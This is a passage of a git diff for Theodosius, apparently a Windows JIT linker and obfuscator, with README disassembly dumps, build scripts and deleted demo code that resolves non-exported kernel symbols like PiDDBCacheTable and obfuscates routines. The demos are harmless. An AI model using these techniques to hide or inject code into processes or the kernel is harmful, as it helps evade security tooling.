`[RoutineName]@[Instruction Offset]`. Note that JCC's are indeed rip relative, these need to be fixed. - -``` -> fixing JCC rva... - > new rva = 0xe - > old rva = 0x2a -> ?LoopDemo@@YAXXZ@17 allocated = 0xFFFF998BC5369E60, size = 34 -``` - -Note that in DemoDrv there is a function called "LoopDemo" which is obfuscated. Instead of the JCC instruction branching to the conditional code, it instead branches to an inline jmp. If it doesnt branch, then it simply jumps to the next instruction like normal. - -``` -ffff998b`c5369e60 0f830e000000 jae ffff998b`c5369e74 -ffff998b`c5369e66 ff2500000000 jmp qword ptr [ffff998b`c5369e6c] -ffff998b`c5369e74 ff2500000000 jmp qword ptr [ffff998b`c5369e7a] -``` - -As you can see above, this is what Theo generates for JCC's. Also note that this clang compiler does not generate RIP relative LEA's or CALL's. The only RIP relative stuff Theo deals with are JCC's. - -#### Memory View Of Obfuscation - -The instructions for `LoopDemo` now look like this in memory: - -``` -ffff998b`c5369da0 4883ec28 sub rsp,28h -ffff998b`c5369da4 ff2500000000 jmp qword ptr [ffff998b`c5369daa] - -... - -ffff998b`c5369de0 c74424...... mov dword ptr [rsp+24h],0 -ffff998b`c5369de8 ff2500000000 jmp qword ptr [ffff998b`c5369dee] - -... - -ffff998b`c5369e20 837c24240a cmp dword ptr [rsp+24h],0Ah -ffff998b`c5369e25 ff2500000000 jmp qword ptr [ffff998b`c5369e2b] - -... - -ffff998b`c5369e60 0f830e000000 jae ffff998b`c5369e74 -ffff998b`c5369e66 ff2500000000 jmp qword ptr [ffff998b`c5369e6c] -ffff998b`c5369e74 ff2500000000 jmp qword ptr [ffff998b`c5369e7a] - -... - -ffff998b`c5369eb0 8b542424 mov edx,dword ptr [rsp+24h] -ffff998b`c5369eb4 ff2500000000 jmp qword ptr [ffff998b`c5369eba] - -... - -ffff998b`c5369ef0 48b9........ mov rcx,0FFFF998BC5364FA0h ; "> Loop Demo: %d\n" -ffff998b`c5369efa ff2500000000 jmp qword ptr [ffff998b`c5369f00] - -... - -ffff998b`c5369f30 48b8........ mov rax,offset nt!DbgPrint (fffff803`6a750f60) -ffff998b`c5369f3a ff2500000000 jmp qword ptr [ffff998b`c5369f40] - -... - -ffff998b`c5369f70 ffd0 call rax -ffff998b`c5369f72 ff2500000000 jmp qword ptr [ffff998b`c5369f78] - -... - -ffff998b`c5369fa0 8b442424 mov eax,dword ptr [rsp+24h] -ffff998b`c5369fa4 ff2500000000 jmp qword ptr [ffff998b`c5369faa] - -... - - -ffff998b`c5368ba0 83c001 add eax,1 -ffff998b`c5368ba3 ff2500000000 jmp qword ptr [ffff998b`c5368ba9] - -... - -ffff998b`c5368be0 89442424 mov dword ptr [rsp+24h],eax -ffff998b`c5368be4 ff2500000000 jmp qword ptr [ffff998b`c5368bea] - -... - -ffff998b`c5368c20 ff2500000000 jmp qword ptr [ffff998b`c5368c26] - -... - -ffff998b`c5368c50 4883c428 add rsp,28h -ffff998b`c5368c54 ff2500000000 jmp qword ptr [ffff998b`c5368c5a] - -... - -ffff998b`c5368c90 c3 ret -``` - -### Usermode Example - - - -This example uses WinAPI's to allocate virtual memory in another process and also to copy virtual memory. Only exported routines from loaded DLL's in the target process can be resolved. - -# License - BSD 3-Clause - -Copyright (c) 2021, _xeroxz -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/cmake.toml b/cmake.toml new file mode 100644 index 0000000..e47bbdb --- /dev/null +++ b/cmake.toml @@ -0,0 +1,5 @@ +[project] +name = "Theodosius" + +[target.Theodosius] +type = "static" diff --git a/cmkr.cmake b/cmkr.cmake new file mode 100644 index 0000000..9af0802 --- /dev/null +++ b/cmkr.cmake @@ -0,0 +1,236 @@ +include_guard() + +# Change these defaults to point to your infrastructure if desired +set(CMKR_REPO "https://github.com/build-cpp/cmkr" CACHE STRING "cmkr git repository" FORCE) +set(CMKR_TAG "v0.2.12" CACHE STRING "cmkr git tag (this needs to be available forever)" FORCE) +set(CMKR_COMMIT_HASH "" CACHE STRING "cmkr git commit hash (optional)" FORCE) + +# To bootstrap/generate a cmkr project: cmake -P cmkr.cmake +if(CMAKE_SCRIPT_MODE_FILE) + set(CMAKE_BINARY_DIR "${CMAKE_BINARY_DIR}/build") + set(CMAKE_CURRENT_BINARY_DIR "${CMAKE_BINARY_DIR}") + file(MAKE_DIRECTORY "${CMAKE_BINARY_DIR}") +endif() + +# Set these from the command line to customize for development/debugging purposes +set(CMKR_EXECUTABLE "" CACHE FILEPATH "cmkr executable") +set(CMKR_SKIP_GENERATION OFF CACHE BOOL "skip automatic cmkr generation") +set(CMKR_BUILD_TYPE "Debug" CACHE STRING "cmkr build configuration") +mark_as_advanced(CMKR_REPO CMKR_TAG CMKR_COMMIT_HASH CMKR_EXECUTABLE CMKR_SKIP_GENERATION CMKR_BUILD_TYPE) + +# Disable cmkr if generation is disabled +if(DEFINED ENV{CI} OR CMKR_SKIP_GENERATION OR CMKR_BUILD_SKIP_GENERATION) + message(STATUS "[cmkr] Skipping automatic cmkr generation") + unset(CMKR_BUILD_SKIP_GENERATION CACHE) + macro(cmkr) + endmacro() + return() +endif() + +# Disable cmkr if no cmake.toml file is found +if(NOT CMAKE_SCRIPT_MODE_FILE AND NOT EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/cmake.toml") + message(AUTHOR_WARNING "[cmkr] Not found: ${CMAKE_CURRENT_SOURCE_DIR}/cmake.toml") + macro(cmkr) + endmacro() + return() +endif() + +# Convert a Windows native path to CMake path +if(CMKR_EXECUTABLE MATCHES "\\\\") + string(REPLACE "\\" "/" CMKR_EXECUTABLE_CMAKE "${CMKR_EXECUTABLE}") + set(CMKR_EXECUTABLE "${CMKR_EXECUTABLE_CMAKE}" CACHE FILEPATH "" FORCE) + unset(CMKR_EXECUTABLE_CMAKE) +endif() + +# Helper macro to execute a process (COMMAND_ERROR_IS_FATAL ANY is 3.19 and higher) +function(cmkr_exec) + execute_process(COMMAND ${ARGV} RESULT_VARIABLE CMKR_EXEC_RESULT) + if(NOT CMKR_EXEC_RESULT EQUAL 0) + message(FATAL_ERROR "cmkr_exec(${ARGV}) failed (exit code ${CMKR_EXEC_RESULT})") + endif() +endfunction() + +# Windows-specific hack (CMAKE_EXECUTABLE_PREFIX is not set at the moment) +if(WIN32) + set(CMKR_EXECUTABLE_NAME "cmkr.exe") +else() + set(CMKR_EXECUTABLE_NAME "cmkr") +endif() + +# Use cached cmkr if found +if(DEFINED ENV{CMKR_CACHE} AND EXISTS "$ENV{CMKR_CACHE}") + set(CMKR_DIRECTORY_PREFIX "$ENV{CMKR_CACHE}") + string(REPLACE "\\" "/" CMKR_DIRECTORY_PREFIX "${CMKR_DIRECTORY_PREFIX}") + if(NOT CMKR_DIRECTORY_PREFIX MATCHES "\\/$") + set(CMKR_DIRECTORY_PREFIX "${CMKR_DIRECTORY_PREFIX}/") + endif() + # Build in release mode for the cache + set(CMKR_BUILD_TYPE "Release") +else() + set(CMKR_DIRECTORY_PREFIX "${CMAKE_CURRENT_BINARY_DIR}/_cmkr_") +endif() +set(CMKR_DIRECTORY "${CMKR_DIRECTORY_PREFIX}${CMKR_TAG}") +set(CMKR_CACHED_EXECUTABLE "${CMKR_DIRECTORY}/bin/${CMKR_EXECUTABLE_NAME}") + +# Handle upgrading logic +if(CMKR_EXECUTABLE AND NOT CMKR_CACHED_EXECUTABLE STREQUAL CMKR_EXECUTABLE) + if(CMKR_EXECUTABLE MATCHES "^${CMAKE_CURRENT_BINARY_DIR}/_cmkr") + if(DEFINED ENV{CMKR_CACHE} AND EXISTS "$ENV{CMKR_CACHE}") + message(AUTHOR_WARNING "[cmkr] Switching to cached cmkr: '${CMKR_CACHED_EXECUTABLE}'") + if(EXISTS "${CMKR_CACHED_EXECUTABLE}") + set(CMKR_EXECUTABLE "${CMKR_CACHED_EXECUTABLE}" CACHE FILEPATH "Full path to cmkr executable" FORCE) + else() + unset(CMKR_EXECUTABLE CACHE) + endif() + else() + message(AUTHOR_WARNING "[cmkr] Upgrading '${CMKR_EXECUTABLE}' to '${CMKR_CACHED_EXECUTABLE}'") + unset(CMKR_EXECUTABLE CACHE) + endif() + elseif(DEFINED ENV{CMKR_CACHE} AND EXISTS "$ENV{CMKR_CACHE}" AND CMKR_EXECUTABLE MATCHES "^${CMKR_DIRECTORY_PREFIX}") + message(AUTHOR_WARNING "[cmkr] Upgrading cached '${CMKR_EXECUTABLE}' to '${CMKR_CACHED_EXECUTABLE}'") + unset(CMKR_EXECUTABLE CACHE) + endif() +endif() + +if(CMKR_EXECUTABLE AND EXISTS "${CMKR_EXECUTABLE}") + message(VERBOSE "[cmkr] Found cmkr: '${CMKR_EXECUTABLE}'") +elseif(CMKR_EXECUTABLE AND NOT CMKR_EXECUTABLE STREQUAL CMKR_CACHED_EXECUTABLE) + message(FATAL_ERROR "[cmkr] '${CMKR_EXECUTABLE}' not found") +elseif(NOT CMKR_EXECUTABLE AND EXISTS "${CMKR_CACHED_EXECUTABLE}") + set(CMKR_EXECUTABLE "${CMKR_CACHED_EXECUTABLE}" CACHE FILEPATH "Full path to cmkr executable" FORCE) + message(STATUS "[cmkr] Found cached cmkr: '${CMKR_EXECUTABLE}'") +else() + set(CMKR_EXECUTABLE "${CMKR_CACHED_EXECUTABLE}" CACHE FILEPATH "Full path to cmkr executable" FORCE) + message(VERBOSE "[cmkr] Bootstrapping '${CMKR_EXECUTABLE}'") + + message(STATUS "[cmkr] Fetching cmkr...") + if(EXISTS "${CMKR_DIRECTORY}") + cmkr_exec("${CMAKE_COMMAND}" -E rm -rf "${CMKR_DIRECTORY}") + endif() + find_package(Git QUIET REQUIRED) + cmkr_exec("${GIT_EXECUTABLE}" + clone + --config advice.detachedHead=false + --branch ${CMKR_TAG} + --depth 1 + ${CMKR_REPO} + "${CMKR_DIRECTORY}" + ) + if(CMKR_COMMIT_HASH) + execute_process( + COMMAND "${GIT_EXECUTABLE}" checkout -q "${CMKR_COMMIT_HASH}" + RESULT_VARIABLE CMKR_EXEC_RESULT + WORKING_DIRECTORY "${CMKR_DIRECTORY}" + ) + if(NOT CMKR_EXEC_RESULT EQUAL 0) + message(FATAL_ERROR "Tag '${CMKR_TAG}' hash is not '${CMKR_COMMIT_HASH}'") + endif() + endif() + message(STATUS "[cmkr] Building cmkr (using system compiler)...") + cmkr_exec("${CMAKE_COMMAND}" + --no-warn-unused-cli + "${CMKR_DIRECTORY}" + "-B${CMKR_DIRECTORY}/build" + "-DCMAKE_BUILD_TYPE=${CMKR_BUILD_TYPE}" + "-DCMAKE_UNITY_BUILD=ON" + "-DCMAKE_INSTALL_PREFIX=${CMKR_DIRECTORY}" + "-DCMKR_GENERATE_DOCUMENTATION=OFF" + ) + cmkr_exec("${CMAKE_COMMAND}" + --build "${CMKR_DIRECTORY}/build" + --config "${CMKR_BUILD_TYPE}" + --parallel + ) + cmkr_exec("${CMAKE_COMMAND}" + --install "${CMKR_DIRECTORY}/build" + --config "${CMKR_BUILD_TYPE}" + --prefix "${CMKR_DIRECTORY}" + --component cmkr + ) + if(NOT EXISTS ${CMKR_EXECUTABLE}) + message(FATAL_ERROR "[cmkr] Failed to bootstrap '${CMKR_EXECUTABLE}'") + endif() + cmkr_exec("${CMKR_EXECUTABLE}" version) + message(STATUS "[cmkr] Bootstrapped ${CMKR_EXECUTABLE}") +endif() +execute_process(COMMAND "${CMKR_EXECUTABLE}" version + RESULT_VARIABLE CMKR_EXEC_RESULT +) +if(NOT CMKR_EXEC_RESULT EQUAL 0) + message(FATAL_ERROR "[cmkr] Failed to get version, try clearing the cache and rebuilding") +endif() + +# Use cmkr.cmake as a script +if(CMAKE_SCRIPT_MODE_FILE) + if(NOT EXISTS "${CMAKE_SOURCE_DIR}/cmake.toml") + execute_process(COMMAND "${CMKR_EXECUTABLE}" init + RESULT_VARIABLE CMKR_EXEC_RESULT + ) + if(NOT CMKR_EXEC_RESULT EQUAL 0) + message(FATAL_ERROR "[cmkr] Failed to bootstrap cmkr project. Please report an issue: https://github.com/build-cpp/cmkr/issues/new") + else() + message(STATUS "[cmkr] Modify cmake.toml and then configure using: cmake -B build") + endif() + else() + execute_process(COMMAND "${CMKR_EXECUTABLE}" gen + RESULT_VARIABLE CMKR_EXEC_RESULT + ) + if(NOT CMKR_EXEC_RESULT EQUAL 0) + message(FATAL_ERROR "[cmkr] Failed to generate project.") + else() + message(STATUS "[cmkr] Configure using: cmake -B build") + endif() + endif() +endif() + +# This is the macro that contains black magic +macro(cmkr) + # When this macro is called from the generated file, fake some internal CMake variables + get_source_file_property(CMKR_CURRENT_LIST_FILE "${CMAKE_CURRENT_LIST_FILE}" CMKR_CURRENT_LIST_FILE) + if(CMKR_CURRENT_LIST_FILE) + set(CMAKE_CURRENT_LIST_FILE "${CMKR_CURRENT_LIST_FILE}") + get_filename_component(CMAKE_CURRENT_LIST_DIR "${CMAKE_CURRENT_LIST_FILE}" DIRECTORY) + endif() + + # File-based include guard (include_guard is not documented to work) + get_source_file_property(CMKR_INCLUDE_GUARD "${CMAKE_CURRENT_LIST_FILE}" CMKR_INCLUDE_GUARD) + if(NOT CMKR_INCLUDE_GUARD) + set_source_files_properties("${CMAKE_CURRENT_LIST_FILE}" PROPERTIES CMKR_INCLUDE_GUARD TRUE) + + file(SHA256 "${CMAKE_CURRENT_LIST_FILE}" CMKR_LIST_FILE_SHA256_PRE) + + # Generate CMakeLists.txt + cmkr_exec("${CMKR_EXECUTABLE}" gen + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + ) + + file(SHA256 "${CMAKE_CURRENT_LIST_FILE}" CMKR_LIST_FILE_SHA256_POST) + + # Delete the temporary file if it was left for some reason + set(CMKR_TEMP_FILE "${CMAKE_CURRENT_SOURCE_DIR}/CMakerLists.txt") + if(EXISTS "${CMKR_TEMP_FILE}") + file(REMOVE "${CMKR_TEMP_FILE}") + endif() + + if(NOT CMKR_LIST_FILE_SHA256_PRE STREQUAL CMKR_LIST_FILE_SHA256_POST) + # Copy the now-generated CMakeLists.txt to CMakerLists.txt + # This is done because you cannot include() a file you are currently in + configure_file(CMakeLists.txt "${CMKR_TEMP_FILE}" COPYONLY) + + # Add the macro required for the hack at the start of the cmkr macro + set_source_files_properties("${CMKR_TEMP_FILE}" PROPERTIES + CMKR_CURRENT_LIST_FILE "${CMAKE_CURRENT_LIST_FILE}" + ) + + # 'Execute' the newly-generated CMakeLists.txt + include("${CMKR_TEMP_FILE}") + + # Delete the generated file + file(REMOVE "${CMKR_TEMP_FILE}") + + # Do not execute the rest of the original CMakeLists.txt + return() + endif() + # Resume executing the unmodified CMakeLists.txt + endif() +endmacro() diff --git a/demos/DemoDll/AnotherObj.cpp b/demos/DemoDll/AnotherObj.cpp deleted file mode 100644 index 8b1fda1..0000000 --- a/demos/DemoDll/AnotherObj.cpp +++ /dev/null @@ -1,13 +0,0 @@ -#include "Theodosius.h" -#include - -void UsermodeNoObfuscation() -{ - MessageBoxA(0, "Demo", "Hello From Non-Obfuscated Routine!", 0); -} - -THEO_MUTATE(LLVM_BCF LLVM_SUB void UsermodeMutateDemo() -{ - for (auto idx = 0u; idx < 5; ++idx) - MessageBoxA(0, "Demo", "Hello From Mutated Routine!", 0); -}) \ No newline at end of file diff --git a/demos/DemoDll/ClassDemo.cpp b/demos/DemoDll/ClassDemo.cpp deleted file mode 100644 index 1c051cc..0000000 --- a/demos/DemoDll/ClassDemo.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include "ClassDemo.hpp" - -VirtualFuncDemo::VirtualFuncDemo() -{ - MessageBoxA(0, "VirtualFuncDemo (Base Class)", "Virtual Func Demo!", 0); -} - -VirtualFuncDemo::~VirtualFuncDemo() -{ - MessageBoxA(0, "VirtualFuncDemo (Base Class)", "Virtual Destructor Demo!", 0); -} - -void VirtualFuncDemo::PrintTest() -{ - MessageBoxA(0, "VirtualFuncDemo (Base Class)", "Virtual Func Demo!", 0); -} - -Demo::Demo() -{ - MessageBoxA(0, "Demo", "Virtual Func Demo!", 0); -} - -Demo::~Demo() -{ - MessageBoxA(0, "Demo", "Virtual Destructor Demo!", 0); -} - -void Demo::PrintTest() -{ - MessageBoxA(0, "PrintTest", "Hello World!", 0); -} - -Demo2::Demo2() -{ - MessageBoxA(0, "Demo2", "Virtual Func Demo!", 0); -} - -Demo2::~Demo2() -{ - MessageBoxA(0, "Demo2", "Virtual Destructor Demo!", 0); -} - -void Demo2::PrintTest() -{ - MessageBoxA(0, "PrintTest2", "Hello World!", 0); -} \ No newline at end of file diff --git a/demos/DemoDll/ClassDemo.hpp b/demos/DemoDll/ClassDemo.hpp deleted file mode 100644 index 7a7ded8..0000000 --- a/demos/DemoDll/ClassDemo.hpp +++ /dev/null @@ -1,31 +0,0 @@ -#pragma once -#include "Theodosius.h" -#include -#include - -void UsermodeMutateDemo(); -void UsermodeNoObfuscation(); - -class VirtualFuncDemo -{ -public: - explicit VirtualFuncDemo(); - virtual ~VirtualFuncDemo(); - virtual void PrintTest(); -}; - -class Demo : public VirtualFuncDemo -{ -public: - explicit Demo(); - ~Demo() override; - void PrintTest() override; -}; - -class Demo2 : public VirtualFuncDemo -{ -public: - explicit Demo2(); - ~Demo2() override; - void PrintTest() override; -}; \ No newline at end of file diff --git a/demos/DemoDll/DemoDll.vcxproj b/demos/DemoDll/DemoDll.vcxproj deleted file mode 100644 index 0a910fc..0000000 --- a/demos/DemoDll/DemoDll.vcxproj +++ /dev/null @@ -1,122 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC} - {1bc93793-694f-48fe-9372-81e2b05556fd} - v4.5 - 12.0 - Debug - Win32 - DemoDrv - 10.0 - - - - Windows10 - true - ClangCL - StaticLibrary - KMDF - Universal - false - - - Windows10 - false - llvm - StaticLibrary - KMDF - Universal - false - - - - - - - - - - - DbgengKernelDebugger - false - $(IncludePath);$(KMDF_INC_PATH)$(KMDF_VER_PATH) - $(LLVMInstallDir)\bin;$(ExecutablePath); - - - DbgengKernelDebugger - false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(IncludePath);$(KMDF_INC_PATH)$(KMDF_VER_PATH) - $(LLVMInstallDir)\bin;$(ExecutablePath); - - - $(ProjectDir)..\..\clang-cl.exe - true - -Xclang -std=c++1z -Xclang -mcode-model -Xclang large -Xclang -fno-jump-tables -mllvm -split -mllvm -split_num=4 -mllvm -sub_loop=4 - - - false - - - - stdcpp17 - false - false - false - -Xclang -mcmodel=large -Xclang -fno-jump-tables /Zc:threadSafeInit- %(AdditionalOptions) - false - - - DriverEntry - - - - - stdcpp17 - false - Disabled - false - false - false - false - false - Default - Default - - /Zc:threadSafeInit- %(AdditionalOptions) - _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - - - main - - - $(IntDir)ignore\$(MSBuildProjectName).log - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/demos/DemoDll/DemoDll.vcxproj.filters b/demos/DemoDll/DemoDll.vcxproj.filters deleted file mode 100644 index daf9b25..0000000 --- a/demos/DemoDll/DemoDll.vcxproj.filters +++ /dev/null @@ -1,31 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {92e25b44-aaeb-40a2-b8c9-7eab6c210e8d} - - - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - Source Files - - - \ No newline at end of file diff --git a/demos/DemoDll/DemoDll.vcxproj.user b/demos/DemoDll/DemoDll.vcxproj.user deleted file mode 100644 index 88a5509..0000000 --- a/demos/DemoDll/DemoDll.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/demos/DemoDll/Theodosius.h b/demos/DemoDll/Theodosius.h deleted file mode 100644 index 9697813..0000000 --- a/demos/DemoDll/Theodosius.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define NTKERNELAPI - -#define THEO_OBFUSCATE(...) \ - _Pragma("code_seg(\".theo\")") \ - __VA_ARGS__ \ - _Pragma("code_seg()") - -#define THEO_MUTATE(...) \ - _Pragma("code_seg(\".theo1\")") \ - __VA_ARGS__ \ - _Pragma("code_seg()") - -#define LLVM_BCF __attribute((__annotate__(("bcf")))) -#define LLVM_SUB __attribute((__annotate__(("sub")))) -#define LLVM_FLA __attribute((__annotate__(("fla")))) \ No newline at end of file diff --git a/demos/DemoDll/main.cpp b/demos/DemoDll/main.cpp deleted file mode 100644 index d44a75b..0000000 --- a/demos/DemoDll/main.cpp +++ /dev/null @@ -1,22 +0,0 @@ -#include "ClassDemo.hpp" - -// ignore this warning... its VS... -THEO_OBFUSCATE(extern "C" int main() -{ - AllocConsole(); - freopen("conin$", "r", stdin); - freopen("conout$", "w", stdout); - freopen("conout$", "w", stderr); - printf("hello world\n"); - getchar(); - - MessageBoxA(0, "Demo", "Hello From main!", 0); - UsermodeMutateDemo(); - UsermodeNoObfuscation(); - - VirtualFuncDemo DemoInstance = Demo(); - DemoInstance.PrintTest(); - - VirtualFuncDemo Demo2Instance = Demo2(); - Demo2Instance.PrintTest(); -}) \ No newline at end of file diff --git a/demos/DemoDrv/DemoDrv.vcxproj b/demos/DemoDrv/DemoDrv.vcxproj deleted file mode 100644 index 0488a2d..0000000 --- a/demos/DemoDrv/DemoDrv.vcxproj +++ /dev/null @@ -1,116 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - {A9959D7F-E405-4380-A1B4-4CE8DD929397} - {1bc93793-694f-48fe-9372-81e2b05556fd} - v4.5 - 12.0 - Debug - Win32 - DemoDrv - 10.0 - - - - Windows10 - true - ClangCL - StaticLibrary - KMDF - Universal - false - - - Windows10 - false - llvm - StaticLibrary - KMDF - Universal - false - - - - - - - - - - - DbgengKernelDebugger - false - $(IncludePath);$(KMDF_INC_PATH)$(KMDF_VER_PATH) - $(LLVMInstallDir)\bin;$(ExecutablePath); - - - DbgengKernelDebugger - false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(IncludePath) - $(LLVMInstallDir)\bin;$(ExecutablePath); - $(ReferencePath) - - - $(ProjectDir)..\..\clang-cl.exe - false - -Xclang -std=c++1z -Xclang -mcode-model -Xclang large -Xclang -fno-jump-tables -mllvm -split -mllvm -split_num=4 -mllvm -sub_loop=4 - - - - stdcpp17 - false - false - false - false - -Xclang -mcmodel=large -Xclang -fno-jump-tables /Zc:threadSafeInit- - - - DriverEntry - - - - - stdcpp17 - false - Disabled - false - false - Async - true - false - Default - Default - /Zc:threadSafeInit- - - - - DriverEntry - - - $(IntDir)ignore\$(MSBuildProjectName).log - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/demos/DemoDrv/DemoDrv.vcxproj.filters b/demos/DemoDrv/DemoDrv.vcxproj.filters deleted file mode 100644 index ef70a15..0000000 --- a/demos/DemoDrv/DemoDrv.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {92e25b44-aaeb-40a2-b8c9-7eab6c210e8d} - - - - - Source Files - - - - - Header Files - - - \ No newline at end of file diff --git a/demos/DemoDrv/DemoDrv.vcxproj.user b/demos/DemoDrv/DemoDrv.vcxproj.user deleted file mode 100644 index 88a5509..0000000 --- a/demos/DemoDrv/DemoDrv.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/demos/DemoDrv/DriverEntry.cpp b/demos/DemoDrv/DriverEntry.cpp deleted file mode 100644 index 3f9b6b8..0000000 --- a/demos/DemoDrv/DriverEntry.cpp +++ /dev/null @@ -1,36 +0,0 @@ -#include "Theodosius.h" -inline int a = 10; // c++17 tests (c++1z...) - -// this routine is not obfuscated... -THEO_OBFUSCATE(void PrintCR3() -{ - ULONG_PTR Cr3Value = - *reinterpret_cast( - IoGetCurrentProcess() + CR3_OFFSET); - - DbgPrint("> Current CR3 = 0x%p\n", Cr3Value); - - // non-exported symbols being resolved by jit linker... - DbgPrint("> PiDDBCacheTable = 0x%p\n", &PiDDBCacheTable); - DbgPrint("> win32kfull!NtUserRegisterShellPTPListener = 0x%p\n", &NtUserRegisterShellPTPListener); - - // example of referencing itself... - DbgPrint("> PrintCR3 = 0x%p\n", &PrintCR3); -}) - -THEO_OBFUSCATE(LLVM_BCF void LoopDemo(unsigned* result) -{ - // JCC's work! :) - for (auto idx = 0u; idx < 10; ++idx) - // addresses to variables on the stack work! :) - *result = idx; -}) - -THEO_MUTATE(LLVM_BCF LLVM_SUB extern "C" void DrvEntry() -{ - // example of calling other obfuscated/non obfuscated routines... - PrintCR3(); - - unsigned result = 0u; - LoopDemo(&result); -}) \ No newline at end of file diff --git a/demos/DemoDrv/Theodosius.h b/demos/DemoDrv/Theodosius.h deleted file mode 100644 index 86dc639..0000000 --- a/demos/DemoDrv/Theodosius.h +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define NTKERNELAPI - -#define THEO_OBFUSCATE(...) \ - _Pragma("code_seg(\".theo\")") \ - __VA_ARGS__ \ - _Pragma("code_seg()") - -#define THEO_MUTATE(...) \ - _Pragma("code_seg(\".theo1\")") \ - __VA_ARGS__ \ - _Pragma("code_seg()") - -#define LLVM_BCF __attribute((__annotate__(("bcf")))) -#define LLVM_SUB __attribute((__annotate__(("sub")))) -#define LLVM_FLA __attribute((__annotate__(("fla")))) - -#define CR3_OFFSET 0x28 -#define NT_SUCCESS(x) ((x) >= 0) -#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 - -using NTSTATUS = unsigned long; -using PVOID = void*; - -using HANDLE = unsigned long; -using UCHAR = unsigned char; -using USHORT = unsigned short; -using ULONG = unsigned long; -using PULONG = unsigned long*; -typedef unsigned long long ULONG_PTR; - -// this is a demo of resolving non-exported symbols... -// win32kfull.sys export example... -extern "C" void NtUserRegisterShellPTPListener(); -extern "C" void* PiDDBCacheTable; - -extern "C" unsigned char* IoGetCurrentProcess(); -extern "C" unsigned long DbgPrint(const char* format, ...); -extern "C" PVOID ExAllocatePool(ULONG, ULONG); -extern "C" void ExFreePool(PVOID); \ No newline at end of file diff --git a/demos/DemoImGui/backends/imgui_impl_dx11.cpp b/demos/DemoImGui/backends/imgui_impl_dx11.cpp deleted file mode 100644 index fb81de5..0000000 --- a/demos/DemoImGui/backends/imgui_impl_dx11.cpp +++ /dev/null @@ -1,560 +0,0 @@ -// dear imgui: Renderer Backend for DirectX11 -// This needs to be used along with a Platform Backend (e.g. Win32) - -// Implemented features: -// [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as ImTextureID. Read the FAQ about ImTextureID! -// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. - -// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. -// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. -// Read online: https://github.com/ocornut/imgui/tree/master/docs - -// CHANGELOG -// (minor and older changes stripped away, please see git history for details) -// 2021-02-18: DirectX11: Change blending equation to preserve alpha in output buffer. -// 2019-08-01: DirectX11: Fixed code querying the Geometry Shader state (would generally error with Debug layer enabled). -// 2019-07-21: DirectX11: Backup, clear and restore Geometry Shader is any is bound when calling ImGui_ImplDX10_RenderDrawData. Clearing Hull/Domain/Compute shaders without backup/restore. -// 2019-05-29: DirectX11: Added support for large mesh (64K+ vertices), enable ImGuiBackendFlags_RendererHasVtxOffset flag. -// 2019-04-30: DirectX11: Added support for special ImDrawCallback_ResetRenderState callback to reset render state. -// 2018-12-03: Misc: Added #pragma comment statement to automatically link with d3dcompiler.lib when using D3DCompile(). -// 2018-11-30: Misc: Setting up io.BackendRendererName so it can be displayed in the About Window. -// 2018-08-01: DirectX11: Querying for IDXGIFactory instead of IDXGIFactory1 to increase compatibility. -// 2018-07-13: DirectX11: Fixed unreleased resources in Init and Shutdown functions. -// 2018-06-08: Misc: Extracted imgui_impl_dx11.cpp/.h away from the old combined DX11+Win32 example. -// 2018-06-08: DirectX11: Use draw_data->DisplayPos and draw_data->DisplaySize to setup projection matrix and clipping rectangle. -// 2018-02-16: Misc: Obsoleted the io.RenderDrawListsFn 